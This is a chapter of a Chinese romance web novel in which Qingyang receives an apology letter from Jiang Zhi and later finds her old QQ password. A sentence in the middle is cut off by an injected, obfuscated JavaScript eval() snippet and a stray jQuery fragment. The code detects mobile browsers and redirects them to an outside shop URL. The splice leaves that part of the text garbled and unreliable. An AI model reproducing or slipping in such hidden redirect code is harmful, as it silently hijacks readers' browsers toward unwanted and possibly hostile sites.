青漾喝完粥打电话跟经理请假。
电话那头传来嘈杂的歌声,明显在店里忙。经理语速很快,说她一旦请假这个月的全勤就没了。青漾说知道。经理又问她请几天,店里好安排人手解接替她的工作。青漾说明天就去上班。
挂断电话,青漾的脑袋还有点昏。
她走到窗边正要喂鱼,饲料拿出来,才看到碗里除了水空空如也,一条鱼都没有。
她皱着眉努力回想。
明明昨天出门之前还喂过鱼……怎么又不见了?
她探身朝窗外看,脑子里下意识蹦出江峙说她是‘灭鱼高手’的玩笑。窗外街道种着香樟树,夏日树叶繁茂遮阴,散发着淡淡的清香。枝桠伸到窗边,年初春天时被锯掉一截。
如果有猫顺着树干爬上来,倒是可能跳窗进来把鱼吃了……
青漾视线下移,正要去看窗沿有没有猫的脚印,眸光微顿,被树下那道身影吸引。
斜阳余晖,暮色将晚。
江峙站在树下。
一秒,两秒,三秒。
他抬头看来。
四目相对,青漾突然忘了自己要做什么。
嘴唇轻碰,无声叫出他的名字。
“……江峙。”
五分钟后,青漾下楼。
江峙还站在刚才的位置。
他垂着眼,手里快速翻着一本书。
青漾带上门,和他一起站到香樟树下,轻声询问:“是有事吗?”
江峙看她一眼,嗯了声:“你好点了吗?”
青漾说:“好多了。”
安静半分钟。
江峙翻书动作停下,停留在某一页。他依旧不看她,道歉说:“白天是我不对,我不该说那些话。”
“你已经道过歉了。”青漾小幅度颔首,“我自己也想了想,我的性格占了很大问题。”
“我来不是跟你争对错的。本来是想给你发消息,但想到你那跟摆设一样的Q/Q,估计猴年马月才会看到。”说这话时他看向她,表情有些不自在,“所以还是过来找你了。”
说完,他从书里抽出一封信给她。
信封是最简单的白色,上面没写字,背面开着口,能看到里面的横线信纸。
青漾接过信就要抽出来。
江峙‘啧’了声,眉间微拧:“起码等我走了再看。”
青漾唇角微不可见牵起,戳破问道:“是你写的道歉信吗?”
“……”江峙合上书,没好气地说:“是情书,满意了吗?”
他说完转身离开。
青漾站在原地没动,举起信对着夕阳的方向,试图透过信封看进里面。
江峙走出几米,又折返,见到的就是这副场景。
她一身浅杏衬衫短袖,安静地站在树下。没扎好的碎发垂落,微微歪头举着信的模样。
“那个……”他不忍出声打破这一幕。
青漾的目光越过信封,落到他身上。
江峙说:“你后面如果还要去KTV的话,我陪着你。”
青漾小幅度挥了挥手里的信,答应说好。
和以往一样,依旧是她目送她离开。
等他的背影消失在街道拐角,青漾才回家上楼,看到窗边放着的空碗,这才想起忘记告诉他鱼不见了。
刘明淑倒好热水放在桌上,让她等会儿记得吃药。青漾应了声。刘明淑说要去茶馆,问她要不要一起出去走走。青漾说:“我头还有点昏,就不去了。”
青漾倒掉养鱼碗里的水,把碗单独收到橱柜。她洗完手出来吃药,药丸黏在喉咙苦涩难当,拧眉灌下一杯水,舌根依然泛着苦味。
青漾就在这阵难闻的苦味中拆开江峙的信。信纸是随手撕下的作业本,他的字和人一样恣意随性,横撇钩捺笔锋清晰。入眼第一行,是她的名字。
青漾:
我为今天的话向你道歉。对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起。
我的本意不是责怪,我只是不懂你的选择,但你说的话我有认真想过。的确,我不该用我以为的方式去要求你。
这个世界上有太多人都在歌颂勇气,但你那番话让我明白,现实里更多的是普通人。他们在面对危险时会害怕会流泪会逃避躲藏,但并不代表他们不重要。
畏惧是人类的本能,克服本能的勇敢固然可贵。不过在我眼里,任何为了活着所做的一切,都是勇敢。所以勇士值得歌颂,凡人同样。
你说今年高考作文给的材料是“人只有在站起来之后,这个世界才属于他”,我听到的时候其实不太认同,如果我去考,我估计会写八百字来反驳它。可是青漾,我依然希望你拥有全世界。
道歉人:江峙
这封信不长,青漾反复看了三遍。她那些破碎的情绪,被江峙一片片拾起拼凑,轻轻托起。
她控制不住流泪。泪水滴到信上,晕花钢笔字迹,江峙的名字糊成一团墨。她找到手机给江峙打电话,泣不成声地喊他名字。
江峙,江峙,还是江峙。
其他的一句话都没有。
“看了信感动成这样?”江峙话音带笑,“行了你,至于么。”
青漾吸着鼻子:“……你别说话。”
江峙轻叹:“我可没想再把你弄哭。”
“道歉是认真的。”他停顿一秒,“祝福也是。”
电话安静下来。
只剩青漾细微的抽泣声。
过了好久,他喊她名字:“青漾。”
青漾闷闷地嗯了声。
“不勇敢也没关系。”
这个世界允许脆弱和眼泪。
所以,不勇敢也没关系。
……
青漾忘记电话最后是怎么挂断的。
夜晚醒来,手机没电关机,她蜷在沙发上睡着了。隐约想起外婆喊她回房间,但她太困没有起来。
信被压在身下,字迹压出好几道皱褶,她用手一点点捋平,按着折痕折好,拿起回到卧室,夹进笔记本,放到书柜中间。
第二天醒来,头昏的症状消失了,但感冒还残留在身体里。青漾把这两天换下的衣服清完,中午吃过饭,把家里上上下下打扫一遍。
收拾到卧室,阳光晒到书桌,整间屋子热烘烘闷着热。汗水顺着额角滑落,青漾扔下帕子,坐在地板对着风扇吹了会儿。
窗外吹进一阵风,窗帘抛出饱满的弧度,光亮通过这道弧度钻入屋里,吐出一团热气。笔滚到地上,‘啪嗒’一声,像水滴入记忆,泛起细微涟漪。青漾在这阵燥热中想起什么,爬起来打开书柜翻找。
她高中三年的试卷和作业本已经卖给了废品回收站,柜子里装着她的笔记和课外读物,昨天的信就在其中一本笔记里。
青漾略过书籍,寻找那条记忆中不存在的项链。
她有收集盒子的癖好。书柜最底层整整齐齐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714868|207927||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
堆着没扔的包装盒。她一个个拆开,像在拆什么礼物。
终于,在她拆完最后一个买本子送的硬壳盒时,仰起发酸的脖子,长长叹了一声。
什么都没有。
她收好拆出来各式各样的说明书,找来蛇皮袋,打算把这些盒子打包卖掉。丢手机盒时犹豫了下。手机是姑妈给她的,连带着盒子一起,品牌是步步高,盒子上刻着vivo字样的logo。
前年暑假她给陶文皓补习两个月,正巧姑妈换手机,把旧的给她用。青漾自己花钱办了张电话卡,每个月缴着最低套餐费。
思索几秒,青漾把手机盒放回柜子,忽然,一张纸从里面飘了出来。她捡起那张纸,上面写着Q/Q号和密码。
想起来了。
这是她注册Q/Q那天,江峙怕她忘记,随手撕下笔记本写给她的。
Q/Q十位数。
密码是:QY@19960707
密码是江峙给她设置的,姓名首字母的大写+@+出生日期。那会儿青漾还没告诉他自己过农历生日,真要算起来,新历应该是0820才对。
青漾把盒子放回原位,捏着半巴掌大的纸在书柜前转了半圈,最后抽出笔记本,跟昨天的信放到一起。
晚上八点,青漾出门上班,在路口碰到江峙。她说起这件事,江峙反问:“那你觉得我的密码是什么?”
青漾说:“格式应该是一样的吧?”
“这都知道?”江峙挑眉,“那你记得我生日吗?”
青漾一愣,大脑闪过空白。她停下脚步向他:“你告诉过我?”
江峙跟着停下:“不是吧?你连这也忘了?”
青漾问:“你生日是多久?”
“不知道。”江峙不再看她,抬步往前。
青漾追上去,“说一下,这次我肯定记得。”
江峙睨她一眼,没有说话。
“是八月吗?”
“不是。”
“是夏天吗?”
“不是。”
“那……”
“别蒙。”江峙伸出食指指她,“记不得算了。看来我这个朋友在你眼里也不重要。”
青漾抿了抿唇:“怎么样才肯告诉我?”
江峙忽而凑近问:“你就这么想知道我的密码啊?”
距离拉近,青漾一口气提到嗓子眼,后退半步:“不……不是的。”
见她一脸紧张,江峙笑笑,拉起她的胳膊:“走了。”
青漾快步跟着他。
走到鸿福街,她想起鱼不见的事,问:“你还钓鱼吗?我养的那条……不见了。”
江峙轻啧:“你这‘灭鱼高手’的名号还真是名副其实。这才几天啊,我看你改名叫鱼见愁得了。”
青漾抿了抿唇,解释:“应该是没关窗,有猫进来。”
江峙拖着声音嗯了下,“是啊,几次三番都被猫吃了,那猫就没觉得奇怪,还以为你家是什么小鱼干刷新点呢。”
他说话总是这样。不太正经,偶尔开玩笑带着点阴阳怪气,刺刺的。青漾已经习惯,把话题拐回去,问他能钓上鱼吗?
“看不起谁?”江峙收力捏着她的胳膊,“等涨完水给你钓十条都行,让那只来你家偷鱼的猫吃个饱。”
青漾挣开他的手,捏了捏发酸的胳膊:“这可是你说的。”
她没提那条怎么也找不到的项链,也没问是不是他记错了。大概……被她不小心放哪了吧?